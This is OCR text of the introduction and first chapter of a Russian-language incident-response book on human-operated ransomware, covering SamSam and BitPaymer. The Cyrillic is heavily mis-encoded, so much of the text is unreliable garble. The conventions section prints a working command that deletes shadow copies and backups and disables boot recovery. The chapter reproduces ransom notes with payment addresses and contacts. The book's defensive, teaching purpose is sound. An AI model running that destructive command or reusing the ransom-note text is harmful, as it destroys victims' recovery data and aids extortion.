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IpeauciaoBue

['pynna xakepoB aTaKkyeT IPaBUTEILCTBEHHBIC CEpBEpa, IU(PPYET U BbIKAUMBACT TepadalT BaKHBIX JAHHBIX Y
TpeX JIECATKOB MUHUCTEPCTB, SKOHOMHMKA B CTYIOPE, CUIOBUKHM OSCCHIBbHBI, HAPO BHIXOAUT HA YJIMIIHI C
TpeOOBaHMEM OTCTAaBKH MPABUTEIbCTBA, B CTPAaHE BBOAUTCS YPE3BhIUANHOE MOJI0KEHHE. .. ITO HE CIICHAPUIM
cepuana jjs Netflix, a peaibHbIE€ COOBITHS, KOTOPBIE IIPOU3OILIN BecHOM 2022 T., Korja rpylnnrdpoBKa
BeIMoratenel Conti arakoBana 1enoe rocyaapctBo — Kocra-Puky.



BoT yXe 4eTBepThIU o IMOAPAJ ATAKU MPOrpaMM-BbIMOTATENIEU CTAHOBATCS OJTHOM U3 CAMBIX CEPBE3HBIX U
pa3pylIUTENbHBIX KHOEPYTpo3. Jlaxe knoepyrposoi Ne 1. XKepTBoi mMpoBAIBITIMKOB MOKET OKa3aThCs KaK
TMTaHTCKas MEXYHapOaHasl Koprnopanus Tuia konuepHa Toshiba nim tpyoonpoBoaa Colonial Pipeline, Tak u
HEOOIBIIION YaCTHBIM OnM3Hec. OIHA-€AMHCTBEHHAS YCICIIHAS aTaKka CIIOCOOHA MOJTHOCTHIO Mapaan30BaTh
MIPOU3BOJICTBO U OCTABUTH KOMITAHUIO 0€3 JICHET (CYMMBbI BBIKYNA JOCTUTAIOT COTEH MUJJIMOHOB AOJUIApOB!) U
YyBCTBUTEJBHBIX TAHHBIX, KOTOPBIE 3JI0YMBIIIJICHHUKNA MOT'YT IPEIBAPUTEILHO BhITPY3UTh U BBICTABUTH HA
POJIAXY, YTOOKI )KepTBa OblIa croBopurBee. M XOTsI OCHOBHBIE 11€JIM BEIMOTATENIEH TTO-TIPEKHEMY
pacnionaratorcst B CeBepHou u JlatnHckon AMepuke, EBporie, A3Marcko-TUX00KEaHCKOM PETHOHE, TMTOCIICIHUAE
napy Jiet u Poccus nepecrana cuutarbcs TuXou raBanbro. [1o ganaeim Group-1B, Tosbko B 2021 1. KOJIMYECTBO
aTak MporpaMM-BbIMOIraTeIe Ha pOCCUMCKUE KOMIIAHUHU YBEINUMI0Ch Oonee ueM Ha 200%. B nepBom
nosiyroauu 2022 roga B MUPE 3TO KOJIMYECTBO BBIPOCIIO B YETHIPE pasa 1o cpaBHeHUo ¢ | kBapraaom 2021 r.
Kornma cnydarorces (He4acTo) apecThl, BBIMOTATENIN YXOAAT Ha JHO (HEHAJIONT0) U 3aMETAIOT CJIEbI, IIPOBOIS
peopenaunr. Ho roBoputs 0 3akaTe mudpoBaIIbIIUKOB MOKa O4€Hb U 0YeHb pano. Komanma JlabopaTtopuu
KOMITBIOTEPHOU KpuMuHanucTuku Group-IB Havanma cneauts 3a mudpoBaIblIMKaMK, KOTJA €€ Majo KTO BUAE
B HUX CE€pbE3HYI0 yIpo3y. ABTOop KHUTH Oner CKyJKWH — 3HaKoBas (hUrypa He TOJILKO B POCCUIMCKON, HO U B
MEXIYHApOHOU IU(POBOM KpuMHUHAIIMCTUKE. OH 00J1ee AeCITH JIET padoTaeT B chepe MHDOPMAITMOHHOM
0€30MacHOCTH, HAIIKCaJl U BBICTYIIMI COABTOPOM IISATH KHUT MO (DOPEH3HUKE U PACCICAOBAHNIO HHIIUACHTOB. Oer
— TMIOCTOSTHHBIN aBTOP MCCJIENOBAHUM, BEOMHAPOB U TEXHUYECKUX OJIOTOB O PA3BUTUU UMIICPUU

K (pPOoBaATIBIIMKOB U HanbOoJiee akTUBHBIX MpecTynHbIX rpymnn: Conti, OldGremline, LockBit, Hive, REvil.
Yurarenb B HOAPOOHOCTAX y3HAET 00 MCTOPUH MPOTpPaMM-BbIMOTaTeNIEH, TAKTUKAX U TEXHUKAX, UCIIOJIb3YEMBIX
orneparopamMu MUu(PPOBAIBIIUKOB, U O TOM, KaK paccyieoBaTh Takue ataku. M3nanne OyneT He3aMEHUMBIM JIJIs
CIECUATMCTOB MO MU(PPOBOM KPUMHUHAIIMCTUKE, PEariPOBAHUIO HA MHIIUJCHTHI, IPOAKTUBHOMY IIOUCKY yIPO3,
KMOEppa3BElIKE, a TAKKE JJI MPOPECCUOHATIOB U3 CMEXKHBIX 00IaCTEMN.

Group-1B

IpeauciaoBue

BBEJIEHHUE

ATaKu MporpaMmM-BbIMOTATEIIEH MO YIIPABICHUEM YEJIOBEKA KAPAUHAILHO U3MEHUIIN BCIO COBPEMEHHYIO
KapTUHY YIPO3 Y CTAJIU IJIABHOW OMACHOCTHIO JIJII MHOTUX OpraHU3allui — BOT IIOYEMY OPTraHU3alMU BCEX
pPa3MEPOB MOBBIIIAKT OJUTEILHOCTh M TOTOBSITCS pearupoBaTh Ha I10I00HBIC WHIIUICHTHI.

JTa KHHUTIa IM03HAKOMHUT Bac C MUPOM COBPEMEHHBIX aTak IporpaMm-BeiMoraresei. Ocodoe BHUMaHUE B HEH
YIEIEHO YIPEXKIAOIIEMY, OCHOBAHHOMY Ha aHaJIM3€ JTaHHBIX 00 yrpo3ax MOJAXOy K 3alUTe OT UHIIUIEHTOB,
CBSI3AHHBIX C TAKUMM aTAKaMU, U pEaruipOBAHUIO HA HUX.

U1 KOro npeHa3Ha4vYeHa 3Ta KHUra?

DTa KHATA 3aMHTEPECYET MMUPOKUN KPYT TEXHUYECKUX CIIEIUAIIMCTOB — OT CTYJAEHTOB, N3yYarOIIUX
Kn0epO€301acHOCTb, 10 CUCTEMHBIX M CETEBBIX aJIMUHUCTPATOPOB MAJIbIX U CPEIHUX NPEANPHUITHN U JTaxKe
CIEIMAITMCTOB O PEaripOBaHUIO HA MHIMCHTHI U aHAJIMTUKOB KHOEPYIrpO3, KOTOPHIE XOTEIH ObI OOMIbIIEC Y3HATh
00 aTakax IMporpamMM-BbIMOTaTeNICH, YIIPaBIsIEMbIX YEJIOBEKOM.

O yeM 3Ta KHUTra?

['naBa 1 «McTopusi COBpeMEHHBIX aTak ¢ UCIOJIb30BAHUEM MIPOTPaMM-BbBIMOTIaTENICH) PACCKA3BIBAECT O MUPE
YIPABIISIEMBIX YEJIOBEKOM aTaK MPOrpaMM-ITAHTAKUCTOB U UX UCTOPUH.



['naBa 2 «0KW3HEHHBIN UK COBPEMEHHOM aTaKU C UCIIOJIb30BAHUEM MPOTPAMMBI-BBIMOTATENSA» MIPEACTABISECT
CO0OM KpPAaTKOE OIKMCAHUE TOTO, KAK COBPEMEHHBIE 3JIOYMBIINIJICHHUKH JICUCTBYIOT B XOJI€ ATAKH C
UCITOJIb30BAHUEM ITPOTPAMMBbI-BBIMOTATEIS.

['naBa 3 «IIpouecc pearupoBaHus Ha HHIMACHTHD) OMHUCHIBACT IIPOIECC PEarupOBaHUs HA HHIIUCHTHI,
CBSI3aHHBIC C aTaKaMH C UCII0JIb30BAaHUEM IIPOTPaMM-BBIMOTaTEICH.

B rnase 4 «Kubeppa3zBeaka v IIporpaMMbI-BBIMOTaTEIN» MPEACTABICHBI OOIIHUE CBEICHUS O KHOEppa3BEAKE C
aKIICHTOM Ha aTaKu C UCIIOJb30BAHUEM IIPOTPAMM-BBIMOTATEIIECH.

['naBa 5 «TakTHKH, TEXHUKHW U IPOLEAYPHI TPYIIN, 3aHUMAIOIIUXCS pACIIPOCTPAHEHUEM ITPOTPAMM-
BBIMOTATEJIEH» MOAPOOHO OMUCHIBACT MPUEMBI, MMPOIECAYPhI, METOAbI U HHCTPYMEHTHI, HaCTO UCITOJIb3YEMBIE TEMU
WJIM UHBIMM aTaKYIOIIUMH, KOTOPBIE 3aHUMAOTCS TPOrPpaMMaMM -BbIMOTaTEIIIMH.

['maBa 6 «COOp JaHHBIX 0 KHOEPYrpo3ax, CBA3aHHBIX C MPOrpaMMaMHU-BbIMOTATEIISIMU» COACPKUT 0030p
pPa3JIMYHBIX UCTOYHUKOB U METOAOB cOOpa CBECHUI 0 KHOEepyrpo3ax, CBA3aHHBIX C aTaKaMU COBPEMEHHBIX
IIPOTPAMM-BbIMOTaTEJICH.

B riase 7 «llndpoBbie KpUMUHATUCTHUECKUE apTEPAKThI U X OCHOBHBIC MICTOUHUKW» ITPEACTABICH 0030
Pa3IMYHBIX UICTOYHUMKOB KPUMUHAUIMCTUYECKUX apTe(aKkTOB, HA KOTOPbIE MOKHO OIUPATHCS MPU pearipoBaHUN
Ha MHUIMACHTBI IS PEKOHCTPYKIIMHU )KM3HEHHOTO IIUKJIa aTaKHu.

B rimaBe 8 «MeTo/ibl IEPBOHAYATIBHOIO JOCTYIIay MpejiaracTcsl MPpakTUIECKOe UCCIEIOBAHUE METOIOB
MEPBOHAYAIBHOTO JIOCTYNA, UCTIOJIb3YEMBIX 3JI0YMBIIILICHHUKAMH.

B rmase 9 «MeToapl NOCTIKCILTyaTalun» pacCMaTPUBAIOTCS PA3JIMYHBIE METOABI ITOCTAIKCILIyaTaLvH,
IIPUMEHSIEMBIE 3JI0YMBIIIJICHHUKAMMU.

B rnaBe 10 «MeToabl Kpaku JaHHBIX» UCCIEAYIOTCA UCTIOJIb3YEMbIE METOIbI KPAXKU JTAHHBIX.

B rnase 11 «Metoabl pa3BepThIBAaHUA ITPOTPAMM-BBIMOTATEIIEN» U3YyHAKOTCA PA3JIMYHBIE METObI PA3BEPTHIBAHUSA
IIPOTPAMM-BBIMOTIaTEIICH.

B riase 12 «YHu@uIMpoBaHHBINA KU3HEHHBIN IUKJI aTaK C UCIOJIb30BAHUEM IIPOTrpaMM-BbIMOIraTeIC» ONUCaHa
KOHIIETIIMS YHUKAJIBHOTO XU3HEHHOTO 1IUKJIA, PEAIM3YEMOTr0 B paMKax aTak, U UCIOJIb30BAHUE TPOrpaMM-
BBIMOTATEJIEH.

3arpy3uTe IiBeTHbIe U300paKeHHU s

PDF-@aiin ¢ uBeTHbIMU U300paKEHUSIMU CHUMKOB AKpaHa 1 IMarpamMmm, UCIOJIb3YEMBbIX B 3TOM KHUTE, MOYKHO
IOJTYy4nTh 10 cchuike hittps://static.packt-cdn.com/downloads/9781803240442 Colorlmages.pdf.

HUcnosib3yemMblie 0003HAYEHUS

B 3TOl KHUT€ UCIOJIB3YETCS Psia TEKCTOBBIX 0003HAUYCHUM.

Kox B TeKcTe yKa3bIBa€T Ha YYaCTKH KOJIa B TEKCTE, MMEHA Ta0IuI] 0a3bl JJaHHBIX, UMEHA MaIlOK, MMEHa (ailjioB,
pacmupenus dainoB, nytu, URL-agpeca, mojbp30BaTelIbCKUi BBOA 1 IceBIOHUMBI Twitter, HarpuMmep: «Co3aH
HOBEIN 00BekT ¢ GUID {E97EFF8F-1C38-433C-9715-4F53424B4887}. Kpome ToTO0, ITOI03pHUTEIBHEIN

daiim 586A97.exe naxoaurcs B nanke C:\Windows\SY SVOL\domain\scripts».

bi1ox xona BRITJISAUT Tak.

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBENGINE" image="4" changed="2022-01-16 14:15:49"
uid="{94D8973D-A08E-4F28-B7D7-3745321C40A4}" disabled="0">

YToObI NpUBJICYh BHUMAHHUE YUTATEIIS K ONIPEACICHHON YacTH 0JI0Ka KOJIa, COOTBETCTBYIOLIME CTPOKHU HUIIU
3JIEMEHTBI BBIICISIOTCS HOIYKUPHBIM IIPUQPTOM.

<Properties startupType="DISABLED" serviceName="SQLPBENGINE"
serviceAction="STOP" timeout="30"/></NTService>

JIr0001 BBOJ, MJIM BBIBOJI KOMAaHIHOM CTPOKH 3aIMCHIBAETCS CICIYIOIIUM 00Pa3oM.

vssadmin delete shadows /all /quiet & wmic shadowcopy delete
& bcdedit /set {default} bootstatuspolicy ignoreallfailures

& bcdedit /set {default} recoveryenabled no & wbadmin delete
catalog -quiet



[Tomy>kupHBIM HIPU(TOM BBIJICICHBI HOBbIE TEPMHUHBI, BAXKHBIE CJIOBA WIJIH CJIOBA, KOTOPBIC MOSIBIISIOTCS Ha
’KpaHe, — B YaCTHOCTH, KOMaHbl MEHIO MJIM JIMAJIOIOBBIX OKOH, Hanmpumep: «Kak mpaBuio, BaMm HY>KHO MCKaTh
coOpITHs ¢ nacHTHGHKaTopamu 21 (Yenemuelid Bxod B ceanc) u 25 (YcnemHoe BO300HOBICHHE CEaHCa)y.

CBsI>KUTeCh C HAMM

Mzl BCCIr'J1a paJdbl YUTATCIbCKHUM OT3bIBAM.

Oo6mue Bonpockl. Eciin y Bac ecTh 100bIe BOIIPOCKHI 00 3TOM KHUT'€, HAIIUIIIUTE HaM 110 aJpecy customercare@-
packtpub.com, yka3aB B TeMe COOOIICHHS Ha3BaHNE KHUTH.

WcnpaBiaeHus. Mbl NpUJIOKUINA BCE YCUIIHS, YTOOBI 00E€CIEYUTh TOYHOCTh TEKCTA U JAHHBIX, HO OIIMOKH
CJIydaroTcsa. ECiy Bl HAIIUIM B KHUTE OMIMOKY, Mbl OyJIEM MPU3HATEIbHBI, €CJIM BBl COOOIIATE HAM 00 3TOM.
[Toxxanyiicra, 3amoaHuTe ¢popmy o cceuike https://www.packtpub.com/support/errata.

[TuparcTBo. ECiiu BBI CTOJIKHETECH € JTI0OBIMU HE3aKOHHBIMU KOIUSIMU HAIIMX padO0T B HHTEPHETE, MBI IIPOCUM
Bac COOOIMTH HAM aJipec WM Ha3BaHHE BeO-calita mo agpecy copyright@packt.com.

bynyium apropam. Eciin Bel pa3oupaeTech B TOW WA MHOW TEME U XOTUTE MTOCBITUTD €M KHUTY, MOKATYICTA,
noceTuTe crpanuiry authors.packtpub.com.

OTKa3 OT OTBEeTCTBEHHOCTH

Nudopmanmen, npuBOAMMON B 3TOM KHUTE, MOXKHO MOJIb30BAThHCS, TOJIBKO COOI0as 3TUUYECKue HOpMbl. He
MCIIOJIb3YUTE HUKAKYI0 MH(POPMAIIUIO U3 KHUTH, €CIIH Y BaC HET MUCbMEHHOTO PA3PEIICHUS OT BiaJeiblla
obopynoBanus. Eciiu Bbl COBEpIINTE HE3AKOHHBIE JICMCTBUS, BAC apECTYIOT U NPUBJICKYT K OTBETCTBEHHOCTH I10
BCEU CTPOroCTH 3aKoHA. M31aTebCTBO HE HECET HUKAKOW OTBETCTBEHHOCTH 32 HENPABUIILHOE UCIIOJIb30BAHUE
nH(pOpMaLMU, coaepkamiencs B kuure. MHpopmanus, npeicTaBiIeHHas B 3TOM KHUTE, MPEHA3HAY€HA TOJIBKO
JUISL IEMOHCTPAINU, B 3aBUCUMOCTH OT KOHKPETHOTO CIy4as UCIOJIb30BaHUS OHA MOXKET TPeOOBAaTh N3MEHECHUM.
[IpuBeneHHOM 3/1€Ch HHPOPMALIUEN MOKHO MTOJIB30BATHCS TOJIBKO B LIEJISIX TECTUPOBAHUS C HA IJIC)KAIAM
MMUCBbMEHHBIM PA3PELIEHUEM OT COOTBETCTBYIOIUX OTBETCTBEHHBIX JIUILI.

I[logesinTech BaAalliIMM MHEHUEM

Mg1 Oyzem paasl y3HATh Balle MHeHHE 0 KHuTe. [loceTute cTpanumy https:.//www.amazon.com/Incident-
Response-Techniques-Ransomware-Attacks/dp/180324044X v moaenuTech CBOMM MHEHHEM.

Bamnr oT3bIB BaxkeH JJI1 HAC U JJISI TCXHHUYCCKOI'O COO6H_[CCTBa, OH ITOMOZKCT ACJIATh HAalll KOHTCHT JIYYIIIC.




SHAKOMCTBO

C COBPEMEHHBIM ATAKAMW
C UCT1OJIbBOBAHUEM
[MPOrPAMM-BbIMOTATENEN




MepBbivt pasgen 3Ton KHAMM NOMOXET BaM NOSTYHYUTb SICHOE
npeacTasneHe 0 COBPeMeHHON KapTuHe yrpos, CBA3aHHOW
C NporpaMMamMu-BbiMOraTesniiMm, U O TOM, Kak Npasu/ibHO

nnaHdnpoeaThb pearmpoBaHme Ha Takme NHUWOEeHTbI.

3ot pasgen CoOCTouUT U3 cregyownx rnas.

Masa 1. lcTopua coBpeMeHHbIX aTak

C UCNONb30BaHUEM NporpamMm-BbiMorareneun
Mnaea 2. >XuU3HEHHbIM UMK COBPEMEHHOW aTaku

C UCNOMb30BaHUEM NPOrpamMmebl-BbiIMOrarens
Mnaea 3. [lpouecc pearnpoBaHusA Ha MHUMAEHTbI

[naBa 1

UCTOPUSA COBPEMEHHBIX
ATAK C UCITIOJB30BAHUEM
IMPOI'PAMM-BBIMOTATEJIEN

ATakK¥ ¢ HUCIOJb30BAaHUEM IIpOTrpaMM-BeIMorareneu cranu Bropou nociie COVID-19 mangemuen 2020 r. — u
OHa, K COXKAJICHUIO, IPOJ0JDKAET pa3BUBAThCs. HEKOTOpHIE 310YMBIINIJICHHUKHU IPEKPATHIIN CBOIO ACSITEIbHOCTD,
HO UX MECTO OBICTPO 3aHUMAET CIICAYIOIIEE ITOKOJICHNE KMOEPIPECTYITHUKOB.

Celyac 3TH aTakKd y BCEX Ha CIyXY, HO HAYaJIKMCh OHHM €IIIE 10 M3BECTHBIX BCIBIIIEK PACITIPOCTPAHCHUS
nporpaMmm-BeiMorarenei, Takux kak WannaCry u NotPetya. B otinune oT HeKOHTPOJIUPYEMBIX IIPOTrpaMM-
BbIMOIaTesieii, UMM YIIPABIISIOT pa3IddHbIe OIlepaTOpPhl U UX COOOIIHUKH. TiiaTeabHas pa3BejKa ysa3BUMOCTEH
NT-undpacTpykTyp U UX HOATOTOBKA K pa3BEPTHIBAHUIO IPOrpaMM-BbIMOraTelIeii MOI'yT HPUHECTU
KHOEepIpeCcTyIMHUKAM MUJUIMOHBI IOJJIAPOB B KPUIITOBAIIOTE.

CymecTByeT MHOTO SIPKMX IMPUMEPOB IITAMMOB IIPOrPAMM-BBIMOIAaTEIEH, MUCITOJIL3YEMBIX B aTakax. B 3Tou riase
MBI COCPEIOTOYMMCS Ha CaMbIX BaXKHBIX C HCTOPUUYECKOM TOUKH 3pE€HUS IIpUMeEpax, BKIIroUas yrpo3y, HauboJiee
XapaKTEPHYIO JJis1 coBpeMeHHoro M T-nanamadra, — mporpaMMbI-BEIMOTaTENIM KaK yciyra.



MBI pacCMOTPpHUM cCJieAyIOLIHEe MIPUMePhI:

2016 r.: nporpamma-sbimoraTtesib SamSam.

2017 r.: nporpamma-BbimoraTesib BitPaymer.

2018 r.: nporpamma-sbimoratensb Ryuk.

2019 r. — HacToAlWee Bpema: Nporpammbl-BbIMOraTenn Kak ycayra.

.2016 r. — nporpamma-BeIMoOraTeJjib SamSam

Onepatopbl SamSam nosBUIKUCH B Havaje 2016 r. 1 KOpeHHBIM 00pa30M U3MEHUJIA KAPTHUHY yIpo3,
CBSI3aHHYIO C MMPOTrpaMMaMu-BbeIMOTaTeSIsIMU. VX 11€J1610 ObLIIM HE OOBIYHBIC MOJIb30BATEN U OTICIbHBIC
YCTPOMCTBA — KCIIOJIB3YS PYYHOE YIIPABJICHHUE, OHM aTaKOBAJIM Pa3IdYHbIC KOMIAHUU, OCYIIECTBIISS
IPOJIBMKEHME 10 CETH U IMPPYs KaK MOKHO OOJIbIIIE YCTPOMCTB, B TOM UMCJIEC T€X, KOTOPHIE COACpIKaIN
HanOo0JIEE BAXKHEIE TaHHBIE.

ATakaM IOJIBEPIJIUCH CaMbI€ PA3HbIC 1IEJIM, BKIIKOYAS MPEATIPUATHS CPEPBI 3APABOOXPAHEHUS K 00Pa30BaHUS
— W JaxKe LeabIe ropojaa. SipkuM npumMepom ctajl ropoa AtnanTa (mrat JPKopakus), KOTOPbIM MOCTpaaall B
mapte 2018 r. BoccTtaHoBiieHHEe HHOPACTPYKTYpPhl, HOCTPAAABIICH B pE3YyJIbTaTe aTaKu, O0OOIIIOCH TOPOIY
npuMepHo B $2,7 MIIH.

Kak npaBujio, 3JI0yMBIIIICHHUKH SKCILTyaTUPOBAIN YSI3BUMOCTH B OOIIEAOCTYIHBIX IIPUI0KECHHUSIX,
Hanpumep cucreMax JBOSS, niu npocro noadoupanu maposu k RDP-cepBepam, 4T00bI YCTAHOBUTH
NepBOHAYAJIbHBIA JOCTYII K [IEJIEBOM C€TU. UTOOBI MOJYUYUTh paCIIMPEHHBIC MpaBa J0CTYyNa, OHU
MCTIOJIB30BAIM PSIl PACIIPOCTPAHEHHBIX XaKEPCKUX NMHCTPYMEHTOB M SKCIIJIOMTOB, B TOM YHCJIE ITPECIOBYTHIN
Mimikatz, mo3BoJIsttoIMii 3aBIaAeTh YYETHBIMHA JAHHBIMHU aJIMUHHUCTpaTopa JoMeHa. Ilocie atoro
omnepaTopsl SamSam IPOCTO CKAHUPOBAIU CETh, YTOOBI TOOBITH HH(POPMAIIAIO O JOCTYITHBIX XOCTaX, Ha
KaXJIbIM U3 KOTOPBIX OHU KOIMMPOBAJIM ITPOTPAMMY-BBIMOTATE/b U 3aITyCKAJIM €€ C MIOMOIIBIO IPYTrOro
IAPOKO PaCHPOCTPAHEHHOI'O HHCTPYMEHTA JBOMHOIO Ha3HaYeHusa — PSEXec.

BHOYMBIHIHGHHI/IKI/I [IOJIb30BAJIUCH IIATCKHBIM CaiTOM B HAPKHCTC. }KepTBa ImoJrydasia COO6H_[€HI/I€ C

TpeOOBAaHMEM BBIKYIa U HH(OpMAIE 0 paciu(ppoBKe (PanioB, CTEHEPUPOBAHHOE IIPOTPAMMOI -
BeIMOrarejem (puc. 1.1).

ITo marasM Sophos, B 2016—2018 rr. 310yMBIIITIEHHUKA 3apadoTain okojao $6 miH
(ncTouHuk: https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-
Million-Dollar-Ransomware.pdf).

#what happened to your [iles?

All your files encrypted with RSA-2048 encryption, For moze information search in Google “RSA Encryption”
#How to recover files?

RSA is a asymmetric cryptographic algorithm, You need one key for encryption and one key for decryption
So you need Private key to recover your files.
It's not possible to recover your files without private key

fHow to get private key?
You can get your private key in 3 easy step:
Stepl: You must send us 1.7 BitCoin for each affected PC OR 28 BitCoins to receive ALL Private Keys for ALL affected PC's.

Step2: After you send us 1.7 BitCoin, Leave a comment on our Site with this detail: Just write Your "Host name™ in your comment

*Your Host name is: PxPPaPAP PRP™-PyPs

Stepd: We will reply to your comment with a decryption software, You should run it on your affected PC and all encrypted files will be recovered
*Our Site Address:http://qiy2f3qiSelp2tlic.onion/stackoverflowd2/

“Qur BitCoin Address:1Ar310Jp7ALcErh61KGiul SWanjWpHcIipi

(If you send us 28 BictCoins For all PC's, Leave a comment on our site with this detail: Just write “"For All Affected PC's"™ in your comment)
{Also if you want pay for "all affected PC's"™ You can pay 14 Bitcoins to receive half of keys(randomly) and after you verify it send 2nd half to receive all keys )

How To Access To Our Site

For access to our site you must install Tor browser and enter our site URL in your tor browser.
You can download tor browser from https://www.torproject.org/download/download.html _en
For more information please search in Google "How to access onion sites”™

# Test Decryption #
Check our site, You can upload 2 encrypted files and we will decrypt your files as demo.

fWhere to buy Bitcoin

We advice you to buy Bitcoin with Cash Deposit or WesternUnion From https://localbitcoins.com/ or https://coincafe.com/buybitcoinswestern.php
Because they don't need any verification and send your Bitcoin gquickly.

fdeadline

You just have 7 days to send us the BitCoin after 7 days we will remove your private keys and it's impossible to recover your files



. Puc. 1.1. [Ipumep cooOmiennsa SamSam ¢ TpeOoBaHMEM Bhikymnal

. KTO cTOoMT 32 mporpaMmou-BeIMOrarTejieM SamSam?

. 28 Hos0pst 2018 r. ®BP 00Hapo0Ba0 aKT, OOBUHAIOIIMKA B MEXIYHAPOIHOM PACIIPOCTPAHEHUHN
nmporpammbl-BeiMoraresss SamSam Papamapisa [Hlaxu CaBanaun n Moxammana Mexau [llaxa Mancypwu.

CO3ATEJIN SAMSAM

CroBop C Lenblo CoBepLUeHUA MOLLIEHHMYeCTBA MU CBA3AHHOW C HUM OeATEeNbHOCTH,
MMeloLLIe OTHOLLIEHME K KOMMbIOTepaM; CroBOP C Liefbio COBEpLUEHUA MOLLEHHN-
4eCcTBa C UCMONb30BaHMEM 3MIEKTPOHHbLIX CPECTB CBA3U; YMbILLNIEHHOE NOBpe-
XOeHue 3aLMLLIEHHOro KOMMboTepa; nepeaaya TpedboBaHns, CBA3aHHOro ¢ Noppe-
XOeHNeM 3alUULLEeHHOro KOMNboTepa.

Moxammag Mexau
lax MaHcypu

dapamaps3 Waxu
CaBaHam

. Puc. 1.2. ®parment murakata @bP 0 po3bicke

. O0a nogo3peBaembix u3 Mpana. Ilocine nyoankanuy 0OBUHUTEILHOIO aKTa 3JI0YMBIILICHHUKAM Y1aJ0Ch
3aBEPIIUTH CBOIO KPUMUHAIBHYIO JIEATEIBHOCTh — 110 KpaWUHEW MEPE IO UMEHEM SamSam.

. TloCKOJIbKY TpUMEp 3TUX MPECTYMHUKOB MOKAa3ajl, YTO aTaKU MPOTPaMM-BbIMOTATENIEN HA KOPIIOPAIUU MOTYT
OBITH OYE€Hb PUOBLILHBIMHU, CTAJIM MOSBIIATHCA HOBBIC 110 1I00HBIC IpyInbl. OQHUM U3 TPUMEPOB CTasa
nporpamma-BeiMorarens BitPaymer.

.2017 r. — nporpaMmMa-BeIiMorareJib BitPaymer

. IIporpamma-BeiMorarenb BitPaymer cBsizana ¢ Evil Corp — kubepnpecTynHoOM IpynnupoBKOM, KOTOpasi, Kak
CUMTAETCS, UMEET POCCUKMCKOE MpoucxoxacHue. C 3TUM IITaMMOM MPOTrPAMMbI-BBIMOTATENS MOSBUIACH CIIIE
OJIHA TEHJICHIIUS aTaK, YIPaBISEMbIX YEJIOBEKOM, — OXOTa Ha KPYITHYIO JUYb.

. Bce nauanocs B aBrycre 2017 r., korga oneparopsl BitPaymer ycrnenHo arakoBaiayu HECKOJIbLKO OOJIbHMUIL
yrnpasieans NHS Lanarkshire u morpe6oBanm acTpoHOMHUYECKYIO CyMMY BhIKyIa B pazmepe $230 000, nan
53 OUMTKOMHOB.

. UTOOBI ITOJIY4YUTh HAYAJIBHBIM JOCTYM K 1I€JIEBOM CETH, IPyIINa HCII0Jb30BaJIa CBOM JAaBHU UHCTPYMEHT —
TposiH DrideX. TpostH mo3BoJIsI 3710yMBIINICHHUKAM 3arpyxarh PowerShell Empire — nonymspHbIit
(pEeMMBOPK MOCTIKCILTyaTalUM, — YTOOBI IEpEMEIIAThCS MO CETH U MOJIy4YaTh PAaCIIMPEHHbIC IIpaBa
JI0CTYIIa, B TOM YMCJIE C UCIIOJIb30BaHMeM Mimikatz, kak genaau ornepaTopbl SamSam.

. IIpecTynHUKH pa3BepThIBAINd HPOrpaMMYy-BbIMOTaTelIb B MAacIITa0ax MPEAIPUSTHS, UCTIOIb3YS
MOJIM(DUKALIMIO TPYIIIIOBOM IOJUTHUKH, KOTOPas MO3BOJISLIIA UM OTHPABIISATh Ha KaX/IbIM XOCT CKPUIIT JJ1s1
3aIyCKa AK3EMILISIPA IIPOTPAMMBI-BbIMOTATE]IS.

. 3JI0YMBIIIJICHHUKH OOIIAJINCH C KEPTBAMH KaK MO 3JIEKTPOHHOM MOYTE, TaK U B OHJIalH-4YaTax.

Your network has been penetrated.

All files on each host in the network have been encrypted with a strong algorythm.
Backups were either encrypted or deleted or backup disks were formatted.

We exclusively have decryption software for your situation

DO NOT RESET OR SHUTDOWN - files may be damaged.
DO NOT RENAME the encrypted and readme files.
DO NOT MOVE the encrypted and readme files.

DO NOT DELETE readme files,
This may lead to the impossibility of recovery of the certain files.

To get info(pay-to-decrypt your files) contact us at:

Stephenloffe@protonmail . com
or
Stephenlof fe@tutanota. com

BTC wallet:
12y4KnZBuvRmux25t JKKADMKkxUD fuT3I2vw

To confirm our honest intentions.

Send 2 different random files and you will get it decrypted.

It can be from different computers on your network to be sure we decrypts everything.
Files should have both .LOCK extension of each included.

2 files we unlock for free.



. Puc. 1.3. IIpumep coobmienusa BitPaymer ¢ TpeboBaHnEM BBIKyIIa2

. B urone 2019 r. mosgBunack HoBasg mporpamma-seiMorareb DoppelPaymer, ocHoBannas Ha BitPaymer.
CuuTaercs, 4To ero ynpaisiia gouepHssa rpynmna Evil Corp
(mcrounuk: https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/).

. Co3paTesin nporpaMMbI-BbiMorareJsda BitPaymer

13 HOsA0pst 2019 r. ®BP 00Hapoa0BaIO 3aKIIOYEHUE, B KOTOPOM BUHOBHBIMH B YIIPABJICHUH TPOSHCKUMHU
nporpamMamMu Dridex Obuin Ha3zBanbl Makcum BukropoBuu Skyoer u Mrops Onerosuu Typariies.

MAKCUM BUKTOPOBUY AKYBEL
[pecTynHbIN CroBOp; CrOBOP C LieNbio COBEpPLUEHUA MOLUEHHUYECTBA; MOLLEHHHK-
4eCTBO C UCMOJIb30BaHUEM 3JTEKTPOHHbLIX CPeCTB, 6aHKOBCKOE MOLLEHHUYECTRO;
YMbILLIEHHOE MOBpPeXAeHNe KOMMboTepa.

UIrOPb OJIETOBU4Y TYPALLEB
[pecTynHbIN CroBOP; CrOBOP C LIeNbio COBEPLUEHUA MOLUEHHUYECTRA; MOLLEHHMK-
4eCTBO C UCMOJIb30BaHUEM 3JTEKTPOHHbIX CPefICcTB, 6aHKOBCKOE MOLLUEHHNYECTRO;
YMbILLUJIEHHOE MOBpeXAeHue KoMMNboTepa.

. Puc. 1.4. ®parment mrakata @bP 0 po3bicke

. MakcuMm BuktopoBud Sky0Oeln B HacTOsIIee BpeMsl HaXOAUTCS B PO3BICKE IO HECKOIBKHUM ITYHKTaM
OOBHHEHMS B KHOCPIPECTYITHON JeITeIbHOCTH. [10 pa3muaHbIM JaHHBIM, 32 €r0 IOMMKY Ha3HAadYeHA Harpaja
B $5 MIIH.

. Pazymeercs, Dridex He ObLI €IMHCTBEHHBIM TPOSIHOM, HCITOJIb30BAHHBIM B aTakaxX MpOrpaMM-BbIMOTATENEH,
